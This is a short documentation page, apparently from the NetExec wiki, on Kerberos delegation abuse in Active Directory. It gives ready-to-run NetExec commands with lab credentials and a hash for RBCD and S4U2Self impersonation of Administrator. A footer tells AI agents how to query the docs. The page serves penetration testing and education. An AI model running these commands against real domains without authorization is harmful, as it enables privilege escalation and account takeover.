# Delegation

## RBCD

If you have an object with the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute set to an account you control you can use the impersonate flag inside NetExec to automatically execute the Resource Based Constrained Delegation and impersonate any user:

```bash
nxc smb 192.168.56.11 -u jon.snow -p iknownothing --delegate Administrator
```

<figure><img src="/files/Flpp9fhleF0qlWssdTfk" alt=""><figcaption><p>RBCD with NetExec</p></figcaption></figure>

## S4U2Self

If you have a computer account you can (nearly) always get local administrator with the s4u2self extension:

```bash
nxc smb 192.168.56.10 -u 'KINGSLANDING$' -H 220fc1990391bdc183d1a68c389c0229 --delegate Administrator --self
```

<figure><img src="/files/5xKJBZE6tVRH3dGQlalv" alt=""><figcaption><p>S4U2Self abuse using NetExecs delegation feature</p></figcaption></figure>

## Resources:

{% embed url="<https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd>" %}

{% embed url="<https://www.thehacker.recipes/a-d/movement/kerberos/delegations/s4u2self-abuse>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.netexec.wiki/smb-protocol/authentication/delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
